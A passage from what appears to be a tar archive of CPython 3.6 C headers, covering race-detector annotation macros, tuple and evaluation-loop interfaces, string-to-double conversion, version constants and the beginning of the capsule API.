that wait on the condition variable at address "cv" has succeeded and the lock at address "lock" is held. */ #define _Py_ANNOTATE_CONDVAR_LOCK_WAIT(cv, lock) \ AnnotateCondVarWait(__FILE__, __LINE__, cv, lock) /* Report that wait on the condition variable at "cv" has succeeded. Variant w/o lock. */ #define _Py_ANNOTATE_CONDVAR_WAIT(cv) \ AnnotateCondVarWait(__FILE__, __LINE__, cv, NULL) /* Report that we are about to signal on the condition variable at address "cv". */ #define _Py_ANNOTATE_CONDVAR_SIGNAL(cv) \ AnnotateCondVarSignal(__FILE__, __LINE__, cv) /* Report that we are about to signal_all on the condition variable at "cv". */ #define _Py_ANNOTATE_CONDVAR_SIGNAL_ALL(cv) \ AnnotateCondVarSignalAll(__FILE__, __LINE__, cv) /* Annotations for user-defined synchronization mechanisms. */ #define _Py_ANNOTATE_HAPPENS_BEFORE(obj) _Py_ANNOTATE_CONDVAR_SIGNAL(obj) #define _Py_ANNOTATE_HAPPENS_AFTER(obj) _Py_ANNOTATE_CONDVAR_WAIT(obj) /* Report that the bytes in the range [pointer, pointer+size) are about to be published safely. The race checker will create a happens-before arc from the call _Py_ANNOTATE_PUBLISH_MEMORY_RANGE(pointer, size) to subsequent accesses to this memory. Note: this annotation may not work properly if the race detector uses sampling, i.e. does not observe all memory accesses. */ #define _Py_ANNOTATE_PUBLISH_MEMORY_RANGE(pointer, size) \ AnnotatePublishMemoryRange(__FILE__, __LINE__, pointer, size) /* Instruct the tool to create a happens-before arc between mu->Unlock() and mu->Lock(). This annotation may slow down the race detector and hide real races. Normally it is used only when it would be difficult to annotate each of the mutex's critical sections individually using the annotations above. This annotation makes sense only for hybrid race detectors. For pure happens-before detectors this is a no-op. For more details see http://code.google.com/p/data-race-test/wiki/PureHappensBeforeVsHybrid . */ #define _Py_ANNOTATE_PURE_HAPPENS_BEFORE_MUTEX(mu) \ AnnotateMutexIsUsedAsCondVar(__FILE__, __LINE__, mu) /* ------------------------------------------------------------- Annotations useful when defining memory allocators, or when memory that was protected in one way starts to be protected in another. */ /* Report that a new memory at "address" of size "size" has been allocated. This might be used when the memory has been retrieved from a free list and is about to be reused, or when the locking discipline for a variable changes. */ #define _Py_ANNOTATE_NEW_MEMORY(address, size) \ AnnotateNewMemory(__FILE__, __LINE__, address, size) /* ------------------------------------------------------------- Annotations useful when defining FIFO queues that transfer data between threads. */ /* Report that the producer-consumer queue (such as ProducerConsumerQueue) at address "pcq" has been created. The _Py_ANNOTATE_PCQ_* annotations should be used only for FIFO queues. For non-FIFO queues use _Py_ANNOTATE_HAPPENS_BEFORE (for put) and _Py_ANNOTATE_HAPPENS_AFTER (for get). */ #define _Py_ANNOTATE_PCQ_CREATE(pcq) \ AnnotatePCQCreate(__FILE__, __LINE__, pcq) /* Report that the queue at address "pcq" is about to be destroyed. */ #define _Py_ANNOTATE_PCQ_DESTROY(pcq) \ AnnotatePCQDestroy(__FILE__, __LINE__, pcq) /* Report that we are about to put an element into a FIFO queue at address "pcq". */ #define _Py_ANNOTATE_PCQ_PUT(pcq) \ AnnotatePCQPut(__FILE__, __LINE__, pcq) /* Report that we've just got an element from a FIFO queue at address "pcq". */ #define _Py_ANNOTATE_PCQ_GET(pcq) \ AnnotatePCQGet(__FILE__, __LINE__, pcq) /* ------------------------------------------------------------- Annotations that suppress errors. It is usually better to express the program's synchronization using the other annotations, but these can be used when all else fails. */ /* Report that we may have a benign race at "pointer", with size "sizeof(*(pointer))". "pointer" must be a non-void* pointer. Insert at the point where "pointer" has been allocated, preferably close to the point where the race happens. See also _Py_ANNOTATE_BENIGN_RACE_STATIC. */ #define _Py_ANNOTATE_BENIGN_RACE(pointer, description) \ AnnotateBenignRaceSized(__FILE__, __LINE__, pointer, \ sizeof(*(pointer)), description) /* Same as _Py_ANNOTATE_BENIGN_RACE(address, description), but applies to the memory range [address, address+size). */ #define _Py_ANNOTATE_BENIGN_RACE_SIZED(address, size, description) \ AnnotateBenignRaceSized(__FILE__, __LINE__, address, size, description) /* Request the analysis tool to ignore all reads in the current thread until _Py_ANNOTATE_IGNORE_READS_END is called. Useful to ignore intentional racey reads, while still checking other reads and all writes. See also _Py_ANNOTATE_UNPROTECTED_READ. */ #define _Py_ANNOTATE_IGNORE_READS_BEGIN() \ AnnotateIgnoreReadsBegin(__FILE__, __LINE__) /* Stop ignoring reads. */ #define _Py_ANNOTATE_IGNORE_READS_END() \ AnnotateIgnoreReadsEnd(__FILE__, __LINE__) /* Similar to _Py_ANNOTATE_IGNORE_READS_BEGIN, but ignore writes. */ #define _Py_ANNOTATE_IGNORE_WRITES_BEGIN() \ AnnotateIgnoreWritesBegin(__FILE__, __LINE__) /* Stop ignoring writes. */ #define _Py_ANNOTATE_IGNORE_WRITES_END() \ AnnotateIgnoreWritesEnd(__FILE__, __LINE__) /* Start ignoring all memory accesses (reads and writes). */ #define _Py_ANNOTATE_IGNORE_READS_AND_WRITES_BEGIN() \ do {\ _Py_ANNOTATE_IGNORE_READS_BEGIN();\ _Py_ANNOTATE_IGNORE_WRITES_BEGIN();\ }while(0)\ /* Stop ignoring all memory accesses. */ #define _Py_ANNOTATE_IGNORE_READS_AND_WRITES_END() \ do {\ _Py_ANNOTATE_IGNORE_WRITES_END();\ _Py_ANNOTATE_IGNORE_READS_END();\ }while(0)\ /* Similar to _Py_ANNOTATE_IGNORE_READS_BEGIN, but ignore synchronization events: RWLOCK* and CONDVAR*. */ #define _Py_ANNOTATE_IGNORE_SYNC_BEGIN() \ AnnotateIgnoreSyncBegin(__FILE__, __LINE__) /* Stop ignoring sync events. */ #define _Py_ANNOTATE_IGNORE_SYNC_END() \ AnnotateIgnoreSyncEnd(__FILE__, __LINE__) /* Enable (enable!=0) or disable (enable==0) race detection for all threads. This annotation could be useful if you want to skip expensive race analysis during some period of program execution, e.g. during initialization. */ #define _Py_ANNOTATE_ENABLE_RACE_DETECTION(enable) \ AnnotateEnableRaceDetection(__FILE__, __LINE__, enable) /* ------------------------------------------------------------- Annotations useful for debugging. */ /* Request to trace every access to "address". */ #define _Py_ANNOTATE_TRACE_MEMORY(address) \ AnnotateTraceMemory(__FILE__, __LINE__, address) /* Report the current thread name to a race detector. */ #define _Py_ANNOTATE_THREAD_NAME(name) \ AnnotateThreadName(__FILE__, __LINE__, name) /* ------------------------------------------------------------- Annotations useful when implementing locks. They are not normally needed by modules that merely use locks. The "lock" argument is a pointer to the lock object. */ /* Report that a lock has been created at address "lock". */ #define _Py_ANNOTATE_RWLOCK_CREATE(lock) \ AnnotateRWLockCreate(__FILE__, __LINE__, lock) /* Report that the lock at address "lock" is about to be destroyed. */ #define _Py_ANNOTATE_RWLOCK_DESTROY(lock) \ AnnotateRWLockDestroy(__FILE__, __LINE__, lock) /* Report that the lock at address "lock" has been acquired. is_w=1 for writer lock, is_w=0 for reader lock. */ #define _Py_ANNOTATE_RWLOCK_ACQUIRED(lock, is_w) \ AnnotateRWLockAcquired(__FILE__, __LINE__, lock, is_w) /* Report that the lock at address "lock" is about to be released. */ #define _Py_ANNOTATE_RWLOCK_RELEASED(lock, is_w) \ AnnotateRWLockReleased(__FILE__, __LINE__, lock, is_w) /* ------------------------------------------------------------- Annotations useful when implementing barriers. They are not normally needed by modules that merely use barriers. The "barrier" argument is a pointer to the barrier object. */ /* Report that the "barrier" has been initialized with initial "count". If 'reinitialization_allowed' is true, initialization is allowed to happen multiple times w/o calling barrier_destroy() */ #define _Py_ANNOTATE_BARRIER_INIT(barrier, count, reinitialization_allowed) \ AnnotateBarrierInit(__FILE__, __LINE__, barrier, count, \ reinitialization_allowed) /* Report that we are about to enter barrier_wait("barrier"). */ #define _Py_ANNOTATE_BARRIER_WAIT_BEFORE(barrier) \ AnnotateBarrierWaitBefore(__FILE__, __LINE__, barrier) /* Report that we just exited barrier_wait("barrier"). */ #define _Py_ANNOTATE_BARRIER_WAIT_AFTER(barrier) \ AnnotateBarrierWaitAfter(__FILE__, __LINE__, barrier) /* Report that the "barrier" has been destroyed. */ #define _Py_ANNOTATE_BARRIER_DESTROY(barrier) \ AnnotateBarrierDestroy(__FILE__, __LINE__, barrier) /* ------------------------------------------------------------- Annotations useful for testing race detectors. */ /* Report that we expect a race on the variable at "address". Use only in unit tests for a race detector. */ #define _Py_ANNOTATE_EXPECT_RACE(address, description) \ AnnotateExpectRace(__FILE__, __LINE__, address, description) /* A no-op. Insert where you like to test the interceptors. */ #define _Py_ANNOTATE_NO_OP(arg) \ AnnotateNoOp(__FILE__, __LINE__, arg) /* Force the race detector to flush its state. The actual effect depends on * the implementation of the detector. */ #define _Py_ANNOTATE_FLUSH_STATE() \ AnnotateFlushState(__FILE__, __LINE__) #else /* DYNAMIC_ANNOTATIONS_ENABLED == 0 */ #define _Py_ANNOTATE_RWLOCK_CREATE(lock) /* empty */ #define _Py_ANNOTATE_RWLOCK_DESTROY(lock) /* empty */ #define _Py_ANNOTATE_RWLOCK_ACQUIRED(lock, is_w) /* empty */ #define _Py_ANNOTATE_RWLOCK_RELEASED(lock, is_w) /* empty */ #define _Py_ANNOTATE_BARRIER_INIT(barrier, count, reinitialization_allowed) /* */ #define _Py_ANNOTATE_BARRIER_WAIT_BEFORE(barrier) /* empty */ #define _Py_ANNOTATE_BARRIER_WAIT_AFTER(barrier) /* empty */ #define _Py_ANNOTATE_BARRIER_DESTROY(barrier) /* empty */ #define _Py_ANNOTATE_CONDVAR_LOCK_WAIT(cv, lock) /* empty */ #define _Py_ANNOTATE_CONDVAR_WAIT(cv) /* empty */ #define _Py_ANNOTATE_CONDVAR_SIGNAL(cv) /* empty */ #define _Py_ANNOTATE_CONDVAR_SIGNAL_ALL(cv) /* empty */ #define _Py_ANNOTATE_HAPPENS_BEFORE(obj) /* empty */ #define _Py_ANNOTATE_HAPPENS_AFTER(obj) /* empty */ #define _Py_ANNOTATE_PUBLISH_MEMORY_RANGE(address, size) /* empty */ #define _Py_ANNOTATE_UNPUBLISH_MEMORY_RANGE(address, size) /* empty */ #define _Py_ANNOTATE_SWAP_MEMORY_RANGE(address, size) /* empty */ #define _Py_ANNOTATE_PCQ_CREATE(pcq) /* empty */ #define _Py_ANNOTATE_PCQ_DESTROY(pcq) /* empty */ #define _Py_ANNOTATE_PCQ_PUT(pcq) /* empty */ #define _Py_ANNOTATE_PCQ_GET(pcq) /* empty */ #define _Py_ANNOTATE_NEW_MEMORY(address, size) /* empty */ #define _Py_ANNOTATE_EXPECT_RACE(address, description) /* empty */ #define _Py_ANNOTATE_BENIGN_RACE(address, description) /* empty */ #define _Py_ANNOTATE_BENIGN_RACE_SIZED(address, size, description) /* empty */ #define _Py_ANNOTATE_PURE_HAPPENS_BEFORE_MUTEX(mu) /* empty */ #define _Py_ANNOTATE_MUTEX_IS_USED_AS_CONDVAR(mu) /* empty */ #define _Py_ANNOTATE_TRACE_MEMORY(arg) /* empty */ #define _Py_ANNOTATE_THREAD_NAME(name) /* empty */ #define _Py_ANNOTATE_IGNORE_READS_BEGIN() /* empty */ #define _Py_ANNOTATE_IGNORE_READS_END() /* empty */ #define _Py_ANNOTATE_IGNORE_WRITES_BEGIN() /* empty */ #define _Py_ANNOTATE_IGNORE_WRITES_END() /* empty */ #define _Py_ANNOTATE_IGNORE_READS_AND_WRITES_BEGIN() /* empty */ #define _Py_ANNOTATE_IGNORE_READS_AND_WRITES_END() /* empty */ #define _Py_ANNOTATE_IGNORE_SYNC_BEGIN() /* empty */ #define _Py_ANNOTATE_IGNORE_SYNC_END() /* empty */ #define _Py_ANNOTATE_ENABLE_RACE_DETECTION(enable) /* empty */ #define _Py_ANNOTATE_NO_OP(arg) /* empty */ #define _Py_ANNOTATE_FLUSH_STATE() /* empty */ #endif /* DYNAMIC_ANNOTATIONS_ENABLED */ /* Use the macros above rather than using these functions directly. */ #ifdef __cplusplus extern "C" { #endif void AnnotateRWLockCreate(const char *file, int line, const volatile void *lock); void AnnotateRWLockDestroy(const char *file, int line, const volatile void *lock); void AnnotateRWLockAcquired(const char *file, int line, const volatile void *lock, long is_w); void AnnotateRWLockReleased(const char *file, int line, const volatile void *lock, long is_w); void AnnotateBarrierInit(const char *file, int line, const volatile void *barrier, long count, long reinitialization_allowed); void AnnotateBarrierWaitBefore(const char *file, int line, const volatile void *barrier); void AnnotateBarrierWaitAfter(const char *file, int line, const volatile void *barrier); void AnnotateBarrierDestroy(const char *file, int line, const volatile void *barrier); void AnnotateCondVarWait(const char *file, int line, const volatile void *cv, const volatile void *lock); void AnnotateCondVarSignal(const char *file, int line, const volatile void *cv); void AnnotateCondVarSignalAll(const char *file, int line, const volatile void *cv); void AnnotatePublishMemoryRange(const char *file, int line, const volatile void *address, long size); void AnnotateUnpublishMemoryRange(const char *file, int line, const volatile void *address, long size); void AnnotatePCQCreate(const char *file, int line, const volatile void *pcq); void AnnotatePCQDestroy(const char *file, int line, const volatile void *pcq); void AnnotatePCQPut(const char *file, int line, const volatile void *pcq); void AnnotatePCQGet(const char *file, int line, const volatile void *pcq); void AnnotateNewMemory(const char *file, int line, const volatile void *address, long size); void AnnotateExpectRace(const char *file, int line, const volatile void *address, const char *description); void AnnotateBenignRace(const char *file, int line, const volatile void *address, const char *description); void AnnotateBenignRaceSized(const char *file, int line, const volatile void *address, long size, const char *description); void AnnotateMutexIsUsedAsCondVar(const char *file, int line, const volatile void *mu); void AnnotateTraceMemory(const char *file, int line, const volatile void *arg); void AnnotateThreadName(const char *file, int line, const char *name); void AnnotateIgnoreReadsBegin(const char *file, int line); void AnnotateIgnoreReadsEnd(const char *file, int line); void AnnotateIgnoreWritesBegin(const char *file, int line); void AnnotateIgnoreWritesEnd(const char *file, int line); void AnnotateEnableRaceDetection(const char *file, int line, int enable); void AnnotateNoOp(const char *file, int line, const volatile void *arg); void AnnotateFlushState(const char *file, int line); /* Return non-zero value if running under valgrind. If "valgrind.h" is included into dynamic_annotations.c, the regular valgrind mechanism will be used. See http://valgrind.org/docs/manual/manual-core-adv.html about RUNNING_ON_VALGRIND and other valgrind "client requests". The file "valgrind.h" may be obtained by doing svn co svn://svn.valgrind.org/valgrind/trunk/include If for some reason you can't use "valgrind.h" or want to fake valgrind, there are two ways to make this function return non-zero: - Use environment variable: export RUNNING_ON_VALGRIND=1 - Make your tool intercept the function RunningOnValgrind() and change its return value. */ int RunningOnValgrind(void); #ifdef __cplusplus } #endif #if DYNAMIC_ANNOTATIONS_ENABLED != 0 && defined(__cplusplus) /* _Py_ANNOTATE_UNPROTECTED_READ is the preferred way to annotate racey reads. Instead of doing _Py_ANNOTATE_IGNORE_READS_BEGIN(); ... = x; _Py_ANNOTATE_IGNORE_READS_END(); one can use ... = _Py_ANNOTATE_UNPROTECTED_READ(x); */ template <class T> inline T _Py_ANNOTATE_UNPROTECTED_READ(const volatile T &x) { _Py_ANNOTATE_IGNORE_READS_BEGIN(); T res = x; _Py_ANNOTATE_IGNORE_READS_END(); return res; } /* Apply _Py_ANNOTATE_BENIGN_RACE_SIZED to a static variable. */ #define _Py_ANNOTATE_BENIGN_RACE_STATIC(static_var, description) \ namespace { \ class static_var ## _annotator { \ public: \ static_var ## _annotator() { \ _Py_ANNOTATE_BENIGN_RACE_SIZED(&static_var, \ sizeof(static_var), \ # static_var ": " description); \ } \ }; \ static static_var ## _annotator the ## static_var ## _annotator;\ } #else /* DYNAMIC_ANNOTATIONS_ENABLED == 0 */ #define _Py_ANNOTATE_UNPROTECTED_READ(x) (x) #define _Py_ANNOTATE_BENIGN_RACE_STATIC(static_var, description) /* empty */ #endif /* DYNAMIC_ANNOTATIONS_ENABLED */ #endif /* __DYNAMIC_ANNOTATIONS_H__ */ python3.6m/tupleobject.h 0000644 00000004614 15246445047 0011202 0 ustar 00 /* Tuple object interface */ #ifndef Py_TUPLEOBJECT_H #define Py_TUPLEOBJECT_H #ifdef __cplusplus extern "C" { #endif /* Another generally useful object type is a tuple of object pointers. For Python, this is an immutable type. C code can change the tuple items (but not their number), and even use tuples are general-purpose arrays of object references, but in general only brand new tuples should be mutated, not ones that might already have been exposed to Python code. *** WARNING *** PyTuple_SetItem does not increment the new item's reference count, but does decrement the reference count of the item it replaces, if not nil. It does *decrement* the reference count if it is *not* inserted in the tuple. Similarly, PyTuple_GetItem does not increment the returned item's reference count. */ #ifndef Py_LIMITED_API typedef struct { PyObject_VAR_HEAD PyObject *ob_item[1]; /* ob_item contains space for 'ob_size' elements. * Items must normally not be NULL, except during construction when * the tuple is not yet visible outside the function that builds it. */ } PyTupleObject; #endif PyAPI_DATA(PyTypeObject) PyTuple_Type; PyAPI_DATA(PyTypeObject) PyTupleIter_Type; #define PyTuple_Check(op) \ PyType_FastSubclass(Py_TYPE(op), Py_TPFLAGS_TUPLE_SUBCLASS) #define PyTuple_CheckExact(op) (Py_TYPE(op) == &PyTuple_Type) PyAPI_FUNC(PyObject *) PyTuple_New(Py_ssize_t size); PyAPI_FUNC(Py_ssize_t) PyTuple_Size(PyObject *); PyAPI_FUNC(PyObject *) PyTuple_GetItem(PyObject *, Py_ssize_t); PyAPI_FUNC(int) PyTuple_SetItem(PyObject *, Py_ssize_t, PyObject *); PyAPI_FUNC(PyObject *) PyTuple_GetSlice(PyObject *, Py_ssize_t, Py_ssize_t); #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyTuple_Resize(PyObject **, Py_ssize_t); #endif PyAPI_FUNC(PyObject *) PyTuple_Pack(Py_ssize_t, ...); #ifndef Py_LIMITED_API PyAPI_FUNC(void) _PyTuple_MaybeUntrack(PyObject *); #endif /* Macro, trading safety for speed */ #ifndef Py_LIMITED_API #define PyTuple_GET_ITEM(op, i) (((PyTupleObject *)(op))->ob_item[i]) #define PyTuple_GET_SIZE(op) Py_SIZE(op) /* Macro, *only* to be used to fill in brand new tuples */ #define PyTuple_SET_ITEM(op, i, v) (((PyTupleObject *)(op))->ob_item[i] = v) #endif PyAPI_FUNC(int) PyTuple_ClearFreeList(void); #ifndef Py_LIMITED_API PyAPI_FUNC(void) _PyTuple_DebugMallocStats(FILE *out); #endif /* Py_LIMITED_API */ #ifdef __cplusplus } #endif #endif /* !Py_TUPLEOBJECT_H */ python3.6m/ceval.h 0000644 00000020514 15246445047 0007751 0 ustar 00 #ifndef Py_CEVAL_H #define Py_CEVAL_H #ifdef __cplusplus extern "C" { #endif /* Interface to random parts in ceval.c */ PyAPI_FUNC(PyObject *) PyEval_CallObjectWithKeywords( PyObject *func, PyObject *args, PyObject *kwargs); /* Inline this */ #define PyEval_CallObject(func,arg) \ PyEval_CallObjectWithKeywords(func, arg, (PyObject *)NULL) PyAPI_FUNC(PyObject *) PyEval_CallFunction(PyObject *obj, const char *format, ...); PyAPI_FUNC(PyObject *) PyEval_CallMethod(PyObject *obj, const char *methodname, const char *format, ...); #ifndef Py_LIMITED_API PyAPI_FUNC(void) PyEval_SetProfile(Py_tracefunc, PyObject *); PyAPI_FUNC(void) PyEval_SetTrace(Py_tracefunc, PyObject *); PyAPI_FUNC(void) _PyEval_SetCoroutineWrapper(PyObject *); PyAPI_FUNC(PyObject *) _PyEval_GetCoroutineWrapper(void); PyAPI_FUNC(void) _PyEval_SetAsyncGenFirstiter(PyObject *); PyAPI_FUNC(PyObject *) _PyEval_GetAsyncGenFirstiter(void); PyAPI_FUNC(void) _PyEval_SetAsyncGenFinalizer(PyObject *); PyAPI_FUNC(PyObject *) _PyEval_GetAsyncGenFinalizer(void); #endif struct _frame; /* Avoid including frameobject.h */ PyAPI_FUNC(PyObject *) PyEval_GetBuiltins(void); PyAPI_FUNC(PyObject *) PyEval_GetGlobals(void); PyAPI_FUNC(PyObject *) PyEval_GetLocals(void); PyAPI_FUNC(struct _frame *) PyEval_GetFrame(void); #ifndef Py_LIMITED_API /* Helper to look up a builtin object */ PyAPI_FUNC(PyObject *) _PyEval_GetBuiltinId(_Py_Identifier *); /* Look at the current frame's (if any) code's co_flags, and turn on the corresponding compiler flags in cf->cf_flags. Return 1 if any flag was set, else return 0. */ PyAPI_FUNC(int) PyEval_MergeCompilerFlags(PyCompilerFlags *cf); #endif PyAPI_FUNC(int) Py_AddPendingCall(int (*func)(void *), void *arg); PyAPI_FUNC(void) _PyEval_SignalReceived(void); PyAPI_FUNC(int) Py_MakePendingCalls(void); /* Protection against deeply nested recursive calls In Python 3.0, this protection has two levels: * normal anti-recursion protection is triggered when the recursion level exceeds the current recursion limit. It raises a RecursionError, and sets the "overflowed" flag in the thread state structure. This flag temporarily *disables* the normal protection; this allows cleanup code to potentially outgrow the recursion limit while processing the RecursionError. * "last chance" anti-recursion protection is triggered when the recursion level exceeds "current recursion limit + 50". By construction, this protection can only be triggered when the "overflowed" flag is set. It means the cleanup code has itself gone into an infinite loop, or the RecursionError has been mistakingly ignored. When this protection is triggered, the interpreter aborts with a Fatal Error. In addition, the "overflowed" flag is automatically reset when the recursion level drops below "current recursion limit - 50". This heuristic is meant to ensure that the normal anti-recursion protection doesn't get disabled too long. Please note: this scheme has its own limitations. See: http://mail.python.org/pipermail/python-dev/2008-August/082106.html for some observations. */ PyAPI_FUNC(void) Py_SetRecursionLimit(int); PyAPI_FUNC(int) Py_GetRecursionLimit(void); #define Py_EnterRecursiveCall(where) \ (_Py_MakeRecCheck(PyThreadState_GET()->recursion_depth) && \ _Py_CheckRecursiveCall(where)) #define Py_LeaveRecursiveCall() \ do{ if(_Py_MakeEndRecCheck(PyThreadState_GET()->recursion_depth)) \ PyThreadState_GET()->overflowed = 0; \ } while(0) PyAPI_FUNC(int) _Py_CheckRecursiveCall(const char *where); PyAPI_DATA(int) _Py_CheckRecursionLimit; #ifdef USE_STACKCHECK /* With USE_STACKCHECK, we artificially decrement the recursion limit in order to trigger regular stack checks in _Py_CheckRecursiveCall(), except if the "overflowed" flag is set, in which case we need the true value of _Py_CheckRecursionLimit for _Py_MakeEndRecCheck() to function properly. */ # define _Py_MakeRecCheck(x) \ (++(x) > (_Py_CheckRecursionLimit += PyThreadState_GET()->overflowed - 1)) #else # define _Py_MakeRecCheck(x) (++(x) > _Py_CheckRecursionLimit) #endif /* Compute the "lower-water mark" for a recursion limit. When * Py_LeaveRecursiveCall() is called with a recursion depth below this mark, * the overflowed flag is reset to 0. */ #define _Py_RecursionLimitLowerWaterMark(limit) \ (((limit) > 200) \ ? ((limit) - 50) \ : (3 * ((limit) >> 2))) #define _Py_MakeEndRecCheck(x) \ (--(x) < _Py_RecursionLimitLowerWaterMark(_Py_CheckRecursionLimit)) #define Py_ALLOW_RECURSION \ do { unsigned char _old = PyThreadState_GET()->recursion_critical;\ PyThreadState_GET()->recursion_critical = 1; #define Py_END_ALLOW_RECURSION \ PyThreadState_GET()->recursion_critical = _old; \ } while(0); PyAPI_FUNC(const char *) PyEval_GetFuncName(PyObject *); PyAPI_FUNC(const char *) PyEval_GetFuncDesc(PyObject *); PyAPI_FUNC(PyObject *) PyEval_GetCallStats(PyObject *); PyAPI_FUNC(PyObject *) PyEval_EvalFrame(struct _frame *); PyAPI_FUNC(PyObject *) PyEval_EvalFrameEx(struct _frame *f, int exc); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyEval_EvalFrameDefault(struct _frame *f, int exc); #endif /* Interface for threads. A module that plans to do a blocking system call (or something else that lasts a long time and doesn't touch Python data) can allow other threads to run as follows: ...preparations here... Py_BEGIN_ALLOW_THREADS ...blocking system call here... Py_END_ALLOW_THREADS ...interpret result here... The Py_BEGIN_ALLOW_THREADS/Py_END_ALLOW_THREADS pair expands to a {}-surrounded block. To leave the block in the middle (e.g., with return), you must insert a line containing Py_BLOCK_THREADS before the return, e.g. if (...premature_exit...) { Py_BLOCK_THREADS PyErr_SetFromErrno(PyExc_IOError); return NULL; } An alternative is: Py_BLOCK_THREADS if (...premature_exit...) { PyErr_SetFromErrno(PyExc_IOError); return NULL; } Py_UNBLOCK_THREADS For convenience, that the value of 'errno' is restored across Py_END_ALLOW_THREADS and Py_BLOCK_THREADS. WARNING: NEVER NEST CALLS TO Py_BEGIN_ALLOW_THREADS AND Py_END_ALLOW_THREADS!!! The function PyEval_InitThreads() should be called only from init_thread() in "_threadmodule.c". Note that not yet all candidates have been converted to use this mechanism! */ PyAPI_FUNC(PyThreadState *) PyEval_SaveThread(void); PyAPI_FUNC(void) PyEval_RestoreThread(PyThreadState *); #ifdef WITH_THREAD PyAPI_FUNC(int) PyEval_ThreadsInitialized(void); PyAPI_FUNC(void) PyEval_InitThreads(void); #ifndef Py_LIMITED_API PyAPI_FUNC(void) _PyEval_FiniThreads(void); #endif /* !Py_LIMITED_API */ PyAPI_FUNC(void) PyEval_AcquireLock(void); PyAPI_FUNC(void) PyEval_ReleaseLock(void); PyAPI_FUNC(void) PyEval_AcquireThread(PyThreadState *tstate); PyAPI_FUNC(void) PyEval_ReleaseThread(PyThreadState *tstate); PyAPI_FUNC(void) PyEval_ReInitThreads(void); #ifndef Py_LIMITED_API PyAPI_FUNC(void) _PyEval_SetSwitchInterval(unsigned long microseconds); PyAPI_FUNC(unsigned long) _PyEval_GetSwitchInterval(void); #endif #ifndef Py_LIMITED_API PyAPI_FUNC(Py_ssize_t) _PyEval_RequestCodeExtraIndex(freefunc); #endif #define Py_BEGIN_ALLOW_THREADS { \ PyThreadState *_save; \ _save = PyEval_SaveThread(); #define Py_BLOCK_THREADS PyEval_RestoreThread(_save); #define Py_UNBLOCK_THREADS _save = PyEval_SaveThread(); #define Py_END_ALLOW_THREADS PyEval_RestoreThread(_save); \ } #else /* !WITH_THREAD */ #define Py_BEGIN_ALLOW_THREADS { #define Py_BLOCK_THREADS #define Py_UNBLOCK_THREADS #define Py_END_ALLOW_THREADS } #endif /* !WITH_THREAD */ #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyEval_SliceIndex(PyObject *, Py_ssize_t *); PyAPI_FUNC(int) _PyEval_SliceIndexNotNone(PyObject *, Py_ssize_t *); PyAPI_FUNC(void) _PyEval_SignalAsyncExc(void); #endif /* Masks and values used by FORMAT_VALUE opcode. */ #define FVC_MASK 0x3 #define FVC_NONE 0x0 #define FVC_STR 0x1 #define FVC_REPR 0x2 #define FVC_ASCII 0x3 #define FVS_MASK 0x4 #define FVS_HAVE_SPEC 0x4 #ifdef __cplusplus } #endif #endif /* !Py_CEVAL_H */ python3.6m/pystrtod.h 0000644 00000002713 15246445047 0010550 0 ustar 00 #ifndef Py_STRTOD_H #define Py_STRTOD_H #ifdef __cplusplus extern "C" { #endif PyAPI_FUNC(double) PyOS_string_to_double(const char *str, char **endptr, PyObject *overflow_exception); /* The caller is responsible for calling PyMem_Free to free the buffer that's is returned. */ PyAPI_FUNC(char *) PyOS_double_to_string(double val, char format_code, int precision, int flags, int *type); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _Py_string_to_number_with_underscores( const char *str, Py_ssize_t len, const char *what, PyObject *obj, void *arg, PyObject *(*innerfunc)(const char *, Py_ssize_t, void *)); PyAPI_FUNC(double) _Py_parse_inf_or_nan(const char *p, char **endptr); #endif /* PyOS_double_to_string's "flags" parameter can be set to 0 or more of: */ #define Py_DTSF_SIGN 0x01 /* always add the sign */ #define Py_DTSF_ADD_DOT_0 0x02 /* if the result is an integer add ".0" */ #define Py_DTSF_ALT 0x04 /* "alternate" formatting. it's format_code specific */ /* PyOS_double_to_string's "type", if non-NULL, will be set to one of: */ #define Py_DTST_FINITE 0 #define Py_DTST_INFINITE 1 #define Py_DTST_NAN 2 #ifdef __cplusplus } #endif #endif /* !Py_STRTOD_H */ python3.6m/patchlevel.h 0000644 00000002150 15246445047 0011002 0 ustar 00 /* Python version identification scheme. When the major or minor version changes, the VERSION variable in configure.ac must also be changed. There is also (independent) API version information in modsupport.h. */ /* Values for PY_RELEASE_LEVEL */ #define PY_RELEASE_LEVEL_ALPHA 0xA #define PY_RELEASE_LEVEL_BETA 0xB #define PY_RELEASE_LEVEL_GAMMA 0xC /* For release candidates */ #define PY_RELEASE_LEVEL_FINAL 0xF /* Serial should be 0 here */ /* Higher for patch releases */ /* Version parsed out into numeric values */ /*--start constants--*/ #define PY_MAJOR_VERSION 3 #define PY_MINOR_VERSION 6 #define PY_MICRO_VERSION 8 #define PY_RELEASE_LEVEL PY_RELEASE_LEVEL_FINAL #define PY_RELEASE_SERIAL 0 /* Version as a string */ #define PY_VERSION "3.6.8" /*--end constants--*/ /* Version as a single 4-byte hex number, e.g. 0x010502B2 == 1.5.2b2. Use this for numeric comparisons, e.g. #if PY_VERSION_HEX >= ... */ #define PY_VERSION_HEX ((PY_MAJOR_VERSION << 24) | \ (PY_MINOR_VERSION << 16) | \ (PY_MICRO_VERSION << 8) | \ (PY_RELEASE_LEVEL << 4) | \ (PY_RELEASE_SERIAL << 0)) python3.6m/pycapsule.h 0000644 00000003276 15246445047 0010672 0 ustar 00 /* Capsule objects let you wrap a C "void *" pointer in a Python object. They're a way of passing data through the Python interpreter without creating your own custom type. Capsules are used for communication between extension modules. They provide a way for an extension module to export a C interface to other extension modules, so that extension modules can use the Python import mechanism to link to one another. For more information, please see "c-api/capsule.html" in the documentation. */ #ifndef Py_CAPSULE_H #define Py_CAPSULE_H #ifdef __cplusplus extern "C" { #endif PyAPI_DATA(PyTypeObject) PyCapsule_Type; typedef void (*PyCapsule_Destructor)(PyObject *); #define PyCapsule_CheckExact(op) (Py_TYPE(op) == &PyCapsule_Type) PyAPI_FUNC(PyObject *) PyCapsule_New( void *pointer, const char *name, PyCapsule_Destructor destructor); PyAPI_FUNC(void *) PyCapsule_GetPointer(PyObject *capsule, const char *name); PyAPI_FUNC(PyCapsule_Destructor) PyCapsule_GetDestructor(PyObject *capsule); PyAPI_FUNC(const char *) PyCapsule_GetName(PyObject *capsule); PyAPI_FUNC(void *) PyCapsule_GetContext(PyObject *capsule); PyAPI_FUNC(int) PyCapsule_IsValid(PyObject *capsule, const char *name); 